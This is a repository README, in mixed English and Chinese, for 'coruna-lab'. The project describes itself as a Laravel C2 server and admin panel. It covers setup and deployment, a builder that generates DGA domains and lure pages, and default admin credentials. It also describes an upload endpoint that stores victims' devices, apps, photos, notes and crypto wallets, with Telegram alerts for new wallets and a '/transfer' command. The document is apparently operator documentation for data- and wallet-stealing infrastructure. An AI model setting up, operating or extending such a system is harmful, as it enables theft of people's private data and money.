Files
coruna-lab/README.md
T
2026-08-09 22:05:47 +08:00

86 lines
2.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Coruna Lab
Laravel C2 + Admin,渠道静态资源由内置 [`channel-builder/`](channel-builder/) 直接构建(DGA seed + channel id,无独立 Build API)。
```text
coruna-lab/
├── app/ # C2 / Admin
├── channel-builder/ # source + Python patch tools
├── public/ # 默认产物根(可直接当静态站)
│ ├── web/<channel-id>/
│ └── sync/
└── storage/app/channel-builder/ # lab_seeds.json + out/(不对外)
```
## Requirements
| Tool | Path / note |
|------|-------------|
| PHP 8.2+ | `/opt/homebrew/opt/php/bin/php` |
| Composer | via brew PHP |
| Python 3.10+ | `channel-builder/.venv` |
| MySQL 8.0 | preferred;sqlite 可 smoke |
| p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) |
```bash
export PATH="/opt/homebrew/opt/php/bin:$PATH"
php -v
cd channel-builder
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
```
## Setup
```bash
cp .env.example .env
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_ARTIFACT_ROOT / CORUNA_CHANNEL_BUILDER_*
php artisan key:generate # once
php artisan migrate --seed
php artisan serve --host=0.0.0.0 --port=8000
```
Admin:
- Shell: `http://127.0.0.1:8000/admin`
- Login: `http://127.0.0.1:8000/admin/login`
- 默认账号:`admin` / `admin123`(见 `.env` `ADMIN_*`)
## 新建渠道
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
- **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份)
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
- **之后**新渠道只生成 `web/<id>/`
```dotenv
CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
# 默认即可:产物写到 public/,seed 状态在 storage/app/channel-builder/
# CORUNA_ARTIFACT_ROOT=
# CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
```
同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`:
```text
https://<host>/web/<channel-id>/support.html
https://<dga-host>/sync/daily.html
```
宝塔部署见 [`docs/BAOTA_DEPLOY.md`](docs/BAOTA_DEPLOY.md)。
## C2 / Admin 说明
- Reporting:AES-256-ECB JSON + multipart `/api/user/check` 7z
- 入库:devices / apps / photos / notes / wallets + `c2_raw_logs`
- Telegram:新设备、新/变更钱包;`/transfer` 指令
```bash
php artisan test
```